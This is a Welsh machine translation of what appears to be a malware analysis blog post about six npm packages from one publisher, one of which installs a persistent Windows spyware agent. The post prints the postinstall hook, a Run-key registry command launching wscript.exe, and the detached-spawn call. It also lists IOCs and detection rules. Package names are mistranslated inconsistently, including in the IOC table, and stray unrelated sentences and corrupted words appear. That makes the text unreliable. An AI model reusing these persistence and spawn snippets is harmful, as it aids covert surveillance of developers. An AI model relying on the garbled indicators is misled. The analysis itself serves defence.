TL; DR
Rhwng Ebrill 1 a Mai 3, 2026, cyhoeddwr npm sengl, user0001, wedi'i gofrestru gyda'r cyfeiriad Gmail heb ei wirio tanvisoul9@gmail.com, wedi gwthio chwe phecyn yn dawel gydag enwau bwriadol ddiflas, sy'n swnio fel seilwaith: centralogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtime, a node-env-resolve.
Y ddwy fersiwn ddiweddaraf o node-env-resolve, 1.0.7 a 1.0.8, wedi'u nodi gan system Rhybudd Cynnar am Feddalwedd Ddrwgwedd (MEW) Xygeni ar Fai 2 a'u cadarnhau'n faleisus ar Fai 3.
Mae'r mewnblaniad yn anarferol am yr hyn nad ydyw: nid oes unrhyw botiau Telegram, dim galwadau yn ôl OAST, dim gwrthdaro, a dim ymgais i gipio manylion mewngofnodi AWS ar adeg y gosodiad. Yn lle hynny, postinstall.js yn plannu cofnod parhad cychwyn Windows, gan ddefnyddio allwedd Rhedeg HKCU sy'n lansio wscript.exe yn erbyn bonyn VBS. Yna mae'n creu asiant Node.js datgysylltiedig sy'n bwndelu modiwlau ar gyfer cipio meicroffon, dwyn hanes porwr, tynnu sgrinluniau, ac efelychu llygoden/bysellfwrdd.
Rydym yn galw'r clwstwr hwn DevTap, ar ôl i'r pecyn ei adael yn rhedeg ar beiriant datblygwr.
Roedd pob un o'r chwe phecyn yn fyw ar npm ar adeg ysgrifennu. Rydym wedi'u cyflwyno i sianel camdriniaeth y gofrestrfa. Dylai amddiffynwyr dynnu unrhyw osodiadau oddi wrth y cyhoeddwr cyn cael eu tynnu.
Y Clwstwr: Chwe Phecyn, Un Cyhoeddwr
Cyfrif y cyhoeddwr user0001 heb ei wirio. Nid oes ganddo SCM dilysu, dim e-bost sy'n rhwym i barth, a dim hanes blaenorol. Y ddolen Gmail tanvisoul9 nid yw'n ymddangos mewn unrhyw gofnod cyhoeddwr npm arall y gallem ddod o hyd iddo.
Mae'r chwe phecyn i gyd yn rhestru'r un cynhaliwr, wedi'u cyhoeddi o'r un cyfrif, ac yn rhannu'r un peth. package.json boilerplate. Does dim repositoryAr homepage, a dim description yn hirach nag un llinell.
Y strategaeth enwi yw'r rhan ddiddorol. Yn wahanol i ymgyrch dryswch dibyniaeth neu typosquat glasurol, nid yw'r un o'r enwau hyn yn targedu llyfrgell benodol i fyny'r afon. Yn lle hynny, maent wedi'u graddnodi i ddiflannu i mewn i rywbeth go iawn. package.json or npm ls allbwn.
| pecyn | Cyhoeddwyd gyntaf | Fersiwn diweddaraf | fersiynau | Rôl yn y Clwstwr |
|---|---|---|---|---|
| canologwr | 2026-04-01 12:46 UTC | 1.0.9 | 5, o 1.0.5 i 1.0.9 | Clawr “cyfleustodau logio” y clwstwr; cyhoeddi cynharaf |
| dom-utils-lite | 2026-04-14 07:36 UTC | 1.0.3 | 3 | Clawr cymorth DOM generig |
| nod-fetch-lite | 2026-04-19 10:22 UTC | 1.0.2 | 3 | Yn dynwared teulu nôl nodau |
| asiant-cysylltydd | 2026-04-25 05:12 UTC | 1.0.0 | 1 | Enw generig “asiant” |
| amser rhedeg nod-gyp | 2026-04-25 05:17 UTC | 1.0.0 | 1 | Yn dynwared offer adeiladu modiwlau brodorol |
| nod-amgylchedd-datrys | 2026-04-25 05:21 UTC | 1.0.9 | 10, o 1.0.0 i 1.0.9 | Dropper gweithredol; mewnblaniad llawn |
Enwau fel centralogger, node-fetch-lite, a node-gyp-runtime wedi'u cynllunio i edrych yn ddi-ddadleuol mewn adolygiad cod. Maen nhw'n swnio fel pethau a fyddai eisoes yng nghoeden ddibyniaeth prosiect.
Ynghyd â chyhoeddwr ffres, heb ei wirio a dolenni ystorfa ar goll, maent yn ffurfio patrwm adnabyddadwy: actor yn hau enwau ffrithiant isel i'r gofrestrfa, yna'n ailadrodd yn gyflym ar yr un sy'n bwysig. Yn yr achos hwn, node-env-resolve derbyniodd ddeg fersiwn mewn wyth diwrnod.
Beth Sy'n Glanio ar Flwch Datblygu Windows
Y gadwyn faleisus ymlaen node-env-resolve:1.0.8 yn fyr, yn uniongyrchol, ac yn anarferol o gyfoethog o ran nodweddion ar gyfer RAT npm.
Ar ôl gosod: Asiant Parhaus ac Asiant Datgysylltiedig
package.json yn datgan un bachyn gosod:
{ "scripts": { "postinstall": "node postinstall.js" } }postinstall.js yn gwneud tri pheth mewn trefn.
Yn gyntaf, mae'n gosod cyfeiriadur gosod y tu allan i'r goeden npm. Cyfrifir y llwybr yn ystod amser rhedeg yn y sgript fel INSTALL_DIRYna mae'n rhedeg system fewnol execSync('npm install --production --silent ...') y tu mewn iddo i dynnu dibyniaethau amser rhedeg yr impiad. Mae hyn yn rhoi'r asiant ar ddisg yn rhywle llawlyfr node_modules ni fydd archwiliad yn dod o hyd iddo.
Yn ail, mae'n ysgrifennu lansiwr VBS ac yn ei gofrestru ar gyfer parhad cychwyn:
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run \ /v ${AGENT_NAME} \ /t REG_SZ \ /d "wscript.exe \"${vbsPath}\"" /fwscript.exe yw'r Windows Script Host, ffeil ddeuaidd Microsoft wedi'i llofnodi sy'n rhedeg .vbs ffeiliau heb ffenestr consol. Mae hynny'n cyncispam ei fod yn cael ei ffafrio ar gyfer stubiau rhedeg awtomatig.
Mae yna gyfatebiaeth hefyd reg delete llwybr y tu mewn src/index.js, sy'n awgrymu bod y mewnblaniad wedi'i gynllunio i fod yn symudadwy'n lân ar orchymyn y gweithredwr.
Yn drydydd, mae'n sbarduno proses blentyn datgysylltiedig:
spawn(node, [path.join(INSTALL_DIR, 'src/index.js')], { detached: true, env: { ...process.env, SERVER_URL } })Mae dau fanylyn yn bwysig yma.
SERVER_URL yn cael ei ddarllen o'r amgylchedd. O ganlyniad, mae'r pwynt terfynol C2 yn ffurfweddadwy fesul defnydd ac nid yw wedi'i bobi yn y pecyn. Mae'r dewis bach ond bwriadol hwnnw'n trechu'r rhan fwyaf o ysgubiadau IOC statig.
Hefyd, mae'r plentyn a grëwyd yn etifeddu'r amgylchedd rhiant llawn. Felly, unrhyw NPM_TOKEN, AWS_*, GITHUB_TOKEN, neu mae soced asiant SSH sydd yn bresennol yn y gragen datblygwr adeg y gosodiad yn teithio i gof yr asiant hirhoedlog.
Yr hyn y mae'r Asiant yn ei Gludo Gyda
Y bwndeli src/ mae'r goeden yn cynnwys tri modiwl y mae eu henwau yn unig yn adrodd yr hanes: audioCapture.js, browserHistory.js, a systemInfo.js.
Y rhestr ddibyniaethau amser rhedeg, a ddatryswyd yn ystod y cyfnodau gweithredu npm install, yn eu cadarnhau.
Mae'r dull hwn yn troi digwyddiad anhrefnus yn ymateb rheoledig.
Yn lle ymateb yn ddall, mae timau'n gweithredu gyda blaenoriaethu clir ac adferiad cyflym.
| dibyniaeth | Beth yw Ei Bwriad yn y Cyd-destun Hwn |
|---|---|
| sgrinlun-bwrdd gwaith | Cipio sgrin cyfnodol |
| @fforc-coeden-gnau/cnau-js | Awtomeiddio llygoden a bysellfwrdd / efelychu mewnbwn |
| gwell-sqlite3 | Darlleniadau uniongyrchol o gronfeydd data SQLite Hanes Chrome, Edge, a Firefox |
| cod post-adm | Bwndelu arteffactau a gasglwyd cyn eu hidlo |
| miniog | Newid maint / cywasgu sgrinluniau ac arteffactau delwedd |
| soced.io-cleient | Sianel C2 ddwyffordd barhaus |
| nod-peiriant-id | Olion bysedd sefydlog fesul gwesteiwr ar gyfer olrhain dioddefwyr |
systemInfo.js galwadau os.networkInterfaces() ar gyfer olion bysedd ychwanegol cyn y beacon cyntaf.
Pam mai'r Cipio Sain yw'r Signal Amlycaf
Mae'r rhan fwyaf o'r RATs npm rydyn ni'n eu dosbarthu yn MEW yn stopio wrth ladrad cyfrinachol amser gosod. Maen nhw'n darllen. ~/.npmrc, darllenwch ~/.aws/credentials, crafu process.env, POST i webhook, ac ymadael. Mae hynny'n cyd-fynd â model economaidd 'smash-and-grab'. Mae gan gymwysterau hanner oes byr, ac mae angen i'r ymosodwr wneud arian yn gyflym.
node-env-resolve yn wahanol o ran siâp.
Mae'r parhad wedi'i sefydlu i oroesi ailgychwyn. Mae'r asiant yn rhedeg yn ddatgysylltiedig ac yn hirhoedlog o dan wscript.exeMae'r pecyn sydd ganddo ar gyfer bod yno ar beiriant datblygwr, nid ar gyfer gafael a gadael: recordydd meicroffon, gyrrwr bysellfwrdd/llygoden, amlyncu hanes porwr llawn, cipio sgrin, a sianel Socket.IO ryngweithiol yn ôl i C2 ffurfweddadwy.
Cipio meicroffon yn benodol yw'r llinell y mae'r ymgyrch hon yn ei chroesi nad yw'r rhan fwyaf o ddrwgwedd npm yn ei chroesi.
Mae gweithfan datblygwr, yn gynyddol, hefyd yn weithfan lle mae datblygwyr yn cymryd stand-yp, galwadau cwsmeriaid, trafodaethau dylunio, a phontydd ar alwad. Nid yw mewnblaniad sy'n recordio'r meicroffon mewn gwirionedd ar ôl tocyn npm y datblygwr. Mae ar ôl yr hyn y mae'r datblygwr yn ei ddweud o flaen y gliniadur.
Mae'r set alluoedd honno, ynghyd â'r diffyg drysu a'r absenoldeb unrhyw alltudiaeth fflachlyd amser gosod, yn darllen fel rhagosod ar gyfer mynediad wedi'i dargedu yn hytrach na lladrad credydau cyfleol.
Nid ydym yn honni priodoliad o hyn yn unig. Rydym yn nodi'r proffil gweithredol.

Y cadans iteriad wyth diwrnod ymlaen node-env-resolve yw'r manylyn mwyaf datgelol yn weithredol yn y llinell amser.
Nid yw hwn yn ollyngiad tanio-ac-anghofio. Mae'r cyhoeddwr yn cynnal y gollyngwr yn weithredol, sydd fel arfer yn golygu un o ddau beth. Naill ai maen nhw'n ei addasu yn erbyn amgylcheddau prawf cyn ei ddefnyddio'n ehangach, neu mae ganddyn nhw delemetreg osod yn dod yn ôl ac yn ymateb iddo.
Ni welodd y pum pecyn arall unrhyw newid yn effeithiol ar ôl eu cyhoeddiad cychwynnol. Mae hynny'n cyd-fynd â phatrwm "cam unwaith, gadewch yr enw" ar gyfer y clwstwr cefnogol tra bod ymdrech beirianyddol yn canolbwyntio ar y pecyn sy'n gwneud y gwaith.
Priodoliad: Cliwiau Bach, Dim Dyfarniad Cadarn
Cyhoeddus OSINT Mae signalau'n denau, ac ni fyddwn yn eu hymestyn. Beth sy'n weladwy:
Y ddolen Gmail tanvisoul9 yn debyg i enw bedydd De Asiaidd, “Tanvi.” Mae hwn yn arwydd gwan. Nid yw dolenni Gmail yn hunaniaeth, ac mae'r ôl-enw soul9 yn generig. Nid yw'n ddiogel casglu daearyddiaeth o ran leol e-bost yn unig.
Mae arddull y cod yn ddi-nod Node.js: standard galwadau llyfrgell fel os, child_process, spawn, a reg addNid oes unrhyw ddrysu, dim cylchdroi llinynnau, a dim rhesymeg gwrth-ddadfygio. Mae'r awdur yn gyfforddus â chyntefigion cofrestrfa Windows ac offeryniaeth proses-plentyn-datgysylltiedig, ond nid yw'n ymddangos ei fod yn ceisio defnyddio crefftau mwy cudd y gallent fod yn eu defnyddio'n debygol.
Mae dibyniaethau’n gwbl barod ac yn adnabyddus: screenshot-desktop, nut-js, better-sqlite3, a socket.io-clientNid oes protocol personol, dim pentwr C2 wedi'i rolio o'r dechrau, a dim tric dyfalbarhad newydd y tu hwnt i werslyfr. Allwedd Rhedeg HKCU. Mae hwn yn integreiddiwr cymwys, nid yn awdur offer.
Ni ddaethom o hyd i linynnau nad ydynt yn Saesneg, sylwadau wedi'u hymgorffori, data lleoliad, nac olion bysedd parth amser allbwn y crynhoydd o fewn yr arteffactau cyhoeddedig.
Fe wnaethon ni wirio am orgyffwrdd cod gydag ymgyrchoedd blaenorol rydyn ni eisoes yn eu holrhain, gan gynnwys Shai Hulud, Owlivion, Buildkite, a'r heibai diweddar / claude-code-best Teulu clôn Anthropic-CLI. Ni chanfuom yr un: dim patrymau C2 a rennir, dim cynlluniau ffeiliau a rennir, a dim idiomau a rennir.
Yr hyn na fyddem yn ei ddweud: bod hwn yn actor gwladwriaethol, yn grŵp hysbys, neu'n gysylltiedig yn ddaearyddol ag unrhyw wlad benodol.
Mae'r proffil gweithredol yn gyson â thîm bach, â sgiliau cymharol uchel, sy'n gwneud gwyliadwriaeth o orsafoedd gwaith y datblygwr. Mae'n debyg ei fod wedi'i gymell yn ariannol trwy ddefnydd pellach o'r mynediad, ond o bosibl hefyd trwy archwilio fel gwasanaeth ar gyfer prynwr ar wahân.
Mae dau bwynt anuniongyrchol yn cefnogi hynny: osgoi mecanweithiau allfudo sy'n tynnu sylw a fyddai'n llosgi'r clwstwr yn gyflym, fel botiau Telegram, oastify.com, neu canarytokens, a'r enwau pecynnau diflas yn fwriadol, sy'n ffafrio gosodiadau tawel hir-gynffon dros bigyn cyfaint uchel byr.
Dangosyddion o Gyfaddawd a Chanfod
| Pecynnau a Chyhoeddwr | |
|---|---|
| Maes | Gwerth |
| cyhoeddwr npm | user0001 |
| E-bost y cyhoeddwr | tanvisoul9@gmail.com, heb ei wirio |
| Pecynnau | centralogger, dom-utils-lite, node-fetch-lite, asiant-cysylltydd, amser-rhedeg node-gyp, amgylchedd-node-resolve |
| Wedi'i gadarnhau'n faleisus | nod-amgylchedd-datrys@1.0.7, nod-amgylchedd-datrys@1.0.8 |
| Arteffactau Cynnal | |
|---|---|
| math | Gwerth |
| Allwedd dyfalbarhad | HKCU\Meddalwedd\Microsoft\Windows\FersiwnGyfredol\Rhedeg |
| Gwerth dyfalbarhad | Enw newidyn; data o'r ffurf wscript.exe " \\ .vbs" |
| Gosod bachyn | ôl-osod: nod postinstall.js yn y maniffest pecyn |
| Modiwlau mewnblaniad | src/sainCapture.js, src/hanesporwr.js, src/gwybodaethsystem.js |
| Cyfeiriadur llwyfannu | INSTALL_DIR wedi'i ddatrys y tu allan i node_modules y prosiect; lleoliad wedi'i osod gan postinstall.js ar adeg y gosodiad |
| Rhwydwaith | |
|---|---|
| math | Gwerth |
| Cludiant C2 | socket.io-client, sianel ddwyffordd barhaus |
| Terfyn terfyn C2 | Wedi'i ddarparu i'r asiant drwy'r newidyn amgylcheddol SERVER_URL; heb ei godio'n galed i mewn i arteffactau cyhoeddedig |
Nodiadau Canfod
Mae dau reol yn dal y teulu hwn heb fod angen y pwynt terfyn C2.
Yn gyntaf, nodir sgriptiau ôl-osod sy'n perfformio gwaith mewnol npm install i mewn i lwybr y tu allan i gyfeiriadur y pecyn ei hun. Unrhyw lawrlwythwr cyn-adeiladu cyfreithlon, fel node-gyp ailadeiladu neu lawrlwythwyr deuaidd parod, yn ysgrifennu y tu mewn i'r pecyn neu i mewn i blatfform-standard llwybrau storfa gyda hashes wedi'u gwirio. Nid yw'n ysgrifennu i mewn i un newydd ei greu INSTALL_DIR mewn man arall ar y ddisg.
Yn ail, nodi sgriptiau ôl-osod sy'n achosi problemau reg add HKCU\…\Run gyda wscript.exe fel y lansiwr. Yn y bôn, nid yw hyn byth yn gyfreithlon o becyn npm. Fflagiwch ef a'i roi mewn cwarantîn.
Mae trydydd hewristig yn ddefnyddiol ar gyfer gweld y pecyn sibling nesaf cyn iddo gael ei gadarnhau: cyhoeddwr npm ffres heb unrhyw SCM dilysu, e-bost Gmail, na repository maes, ac mae nifer o enwau pecynnau byr, generig, sy'n swnio fel seilwaith a gyhoeddir o fewn dyddiau i'w gilydd, yn ddigon ynddo'i hun i warantu adolygiad â llaw.
Wedi'i adrodd i'r gofrestrfa npm. Byddwn yn diweddaru'r post hwn pan fydd cyfrif y cyhoeddwr yn cael ei ddileu.






